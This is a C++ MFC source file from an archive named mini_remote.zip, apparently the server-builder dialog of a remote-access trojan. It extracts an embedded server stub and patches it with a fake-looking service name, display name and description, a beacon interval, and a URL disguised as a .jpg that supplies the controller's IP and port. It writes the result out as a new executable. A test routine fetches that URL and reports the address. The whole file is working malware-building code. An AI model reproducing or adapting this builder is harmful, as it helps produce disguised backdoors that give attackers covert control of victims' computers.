www.pudn.com > mini_remote.zip > MakesrvDlg.cpp
// MakesrvDlg.cpp : implementation file
//
#include "stdafx.h"
#include "MainCtrl.h"
#include "MakesrvDlg.h"
#include "afxinet.h"
struct MODIFY_DATA
{
unsigned int finder;
char ws_svcname[32];
char ws_svcdisplay[128];
char ws_svcdesc[256];
char ws_up_url[256];
int ws_sleeptime;
int ws_totest;
}
modify_data =
{
0xFFFFFF8D,
"Random",
"Ddadberdfeme",
"Sffffffffffffffffffption",
"http://ssssssssssssss/tenax/ip.jpg",
10000,
1,
};
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CMakesrvDlg dialog
CMakesrvDlg::CMakesrvDlg(CWnd* pParent /*=NULL*/)
: CDialog(CMakesrvDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CMakesrvDlg)
m_url = _T("http://.../ip.jpg");
m_sleeptime = 60;
m_svcdesc = _T("服务描述");
m_svcdisplay = _T("服务显示");
m_svcname = _T("svcname");
//}}AFX_DATA_INIT
}
void CMakesrvDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CMakesrvDlg)
DDX_Control(pDX, IDC_BUTTON_TEST, m_btn_1);
DDX_Control(pDX, IDOK, m_btn_ok);
DDX_Control(pDX, IDC_EDIT_SVCNAME, m_edit_6);
DDX_Control(pDX, IDC_EDIT_SVCDISPLAY, m_edit_5);
DDX_Control(pDX, IDC_EDIT_SVCDESC, m_edit_4);
DDX_Control(pDX, IDC_EDIT_SLEEPTIME, m_edit_3);
DDX_Control(pDX, IDC_EDIT_IPURL, m_edit_2);
DDX_Text(pDX, IDC_EDIT_IPURL, m_url);
DDX_Text(pDX, IDC_EDIT_SLEEPTIME, m_sleeptime);
DDX_Text(pDX, IDC_EDIT_SVCDESC, m_svcdesc);
DDX_Text(pDX, IDC_EDIT_SVCDISPLAY, m_svcdisplay);
DDX_Text(pDX, IDC_EDIT_SVCNAME, m_svcname);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CMakesrvDlg, CDialog)
//{{AFX_MSG_MAP(CMakesrvDlg)
ON_BN_CLICKED(IDC_BUTTON_TEST, OnButtonTest)
ON_BN_CLICKED(IDC_CHECK_TEXT, OnCheckText)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMakesrvDlg message handlers
void CMakesrvDlg::OnOK()
{
UpdateData(TRUE);
HKEY hKey;
DWORD dw;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw);
RegSetValueEx(hKey,"Service_Name",0L,REG_SZ,(const BYTE *)m_svcname.GetBuffer(0),m_svcname.GetLength());
RegSetValueEx(hKey,"Service_DisplayName",0L,REG_SZ,(const BYTE *)m_svcdisplay.GetBuffer(0),m_svcdisplay.GetLength());
RegSetValueEx(hKey,"Service_Description",0L,REG_SZ,(const BYTE *)m_svcdesc.GetBuffer(0),m_svcdesc.GetLength());
DWORD Up_Time = m_sleeptime;
RegSetValueEx(hKey,"UP_Time",0L,REG_DWORD,(const BYTE *)&Up_Time,sizeof(DWORD));
memset(&modify_data,0,sizeof(MODIFY_DATA));
strcpy(modify_data.ws_svcname,m_svcname.GetBuffer(0));
strcpy(modify_data.ws_svcdisplay,m_svcdisplay.GetBuffer(0));
strcpy(modify_data.ws_svcdesc,m_svcdesc.GetBuffer(0));
strcpy(modify_data.ws_up_url,m_url.GetBuffer(0));
RegSetValueEx(hKey,"Ftp_url",0L,REG_SZ,(const BYTE *)m_url.GetBuffer(0),m_url.GetLength());
modify_data.ws_sleeptime=m_sleeptime*1000;
RegCloseKey(hKey);
if (for_text)
modify_data.ws_totest = 1;
char Path[MAX_PATH];
GetCurrentDirectory(MAX_PATH,Path);
strcat(Path,"\\server.dat");
LoadSource(IDR_SERVER,"SERVER",Path);
CFile oldfile,newfile;
if (!oldfile.Open(Path,CFile::modeRead | CFile::typeBinary))
{
return;
}
BYTE *buf = (BYTE *)malloc(oldfile.GetLength());
memset(buf,0,oldfile.GetLength());
oldfile.Read(buf,oldfile.GetLength());
unsigned int finder;
unsigned int i, k;
finder = 0xFFFFFF8D;
for (i = 0; i < oldfile.GetLength() - sizeof(finder); i += sizeof(finder))
{
for (k = 0; k < sizeof(finder); k++)
{
if (buf[i+k] != ((BYTE*)&finder)[k])
break;
}
if (k == sizeof(finder))
{
memcpy(buf + i, &modify_data, sizeof(modify_data));
break;
}
}
if (i >= oldfile.GetLength() - sizeof(finder))
{
free(buf);
oldfile.Close();
newfile.Close();
MessageBox("写入信息到文件中,不能定位文件而出错!","错误");
return;
}
char DestExe[MAX_PATH];
GetCurrentDirectory(MAX_PATH,DestExe);
strcat(DestExe,"\\服务端.exe");
newfile.Open(DestExe,CFile::modeCreate | CFile::modeReadWrite | CFile::typeBinary);
newfile.Write(buf,oldfile.GetLength());
free(buf);
oldfile.Close();
newfile.Close();
DeleteFile(Path);
MessageBox("OK","OK");
}
BOOL CMakesrvDlg::LoadSource(UINT resoure_id , const char * type , const char * filepath)
{
HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type );
if( hRsrc )
{
DWORD size = ::SizeofResource( NULL , hRsrc );
HGLOBAL handle = ::LoadResource( NULL , hRsrc );
if( handle )
{
BYTE *MemPtr = (BYTE *)LockResource( handle );
CFile file;
if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) )
{
file.Write( MemPtr , size );
file.Close( );
}
::UnlockResource( handle );
}
::FreeResource( handle );
return TRUE;
}
return FALSE;
}
BOOL CMakesrvDlg::OnInitDialog()
{
CDialog::OnInitDialog();
m_btn_ok.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_ok.SetFontColor(RGB(100,50,280));
m_btn_1.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4);
m_btn_1.SetFontColor(RGB(100,50,280));
HKEY hKey;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\MiniRemote",0L,KEY_ALL_ACCESS,&hKey) == ERROR_SUCCESS)
{
DWORD dwType;
DWORD dwSize=sizeof(DWORD);
if (RegQueryValueEx(hKey,"UP_Time",NULL,&dwType,(BYTE *)&m_sleeptime,&dwSize) != ERROR_SUCCESS)
{
RegCloseKey(hKey);
m_sleeptime=60;
UpdateData(FALSE);
return TRUE;
}
DWORD useipfile;
RegQueryValueEx(hKey,"Use_ip_file",NULL,&dwType,(BYTE *)&useipfile,&dwSize);
dwSize=1024;
char temp[1024]={0};
RegQueryValueEx(hKey,"Service_Name",NULL,&dwType,(BYTE *)temp,&dwSize);
m_svcname = temp;
dwSize=1024;
memset(temp,0,1024);
RegQueryValueEx(hKey,"Service_DisplayName",NULL,&dwType,(BYTE *)temp,&dwSize);
m_svcdisplay = temp;
dwSize=1024;
memset(temp,0,1024);
RegQueryValueEx(hKey,"Service_Description",NULL,&dwType,(BYTE *)temp,&dwSize);
m_svcdesc = temp;
dwSize=1024;
memset(temp,0,1024);
RegQueryValueEx(hKey,"Ftp_url",NULL,&dwType,(BYTE *)temp,&dwSize);
m_url = temp;
RegCloseKey(hKey);
UpdateData(FALSE);
}
return TRUE;
}
void CMakesrvDlg::OnButtonTest()
{
UpdateData(TRUE);
CInternetSession pSession;
CHttpFile *pIpFile=NULL;
try
{
pIpFile=(CHttpFile*)pSession.OpenURL(m_url.GetBuffer(0));
}
catch(...)
{
pIpFile=NULL;
delete pSession;
}
if(pIpFile)
{
CString str;
if(pIpFile->ReadString(str))
{
char m_hHost[300];
CString strIP,strPort;
strIP=str.Left(str.Find(":"));
strPort=str.Right(str.GetLength()-str.Find(":")-1);
memset(m_hHost,0,300);
int m_hPort = atoi(strPort.GetBuffer(0));
wsprintf(m_hHost,"IP:\"%s\"\r\n端口:\"%d\"",strIP.GetBuffer(0),m_hPort);
MessageBox(m_hHost);
}
pIpFile->Close();
delete pIpFile;
delete pSession;
}
}
void CMakesrvDlg::OnCheckText()
{
for_text = TRUE;
}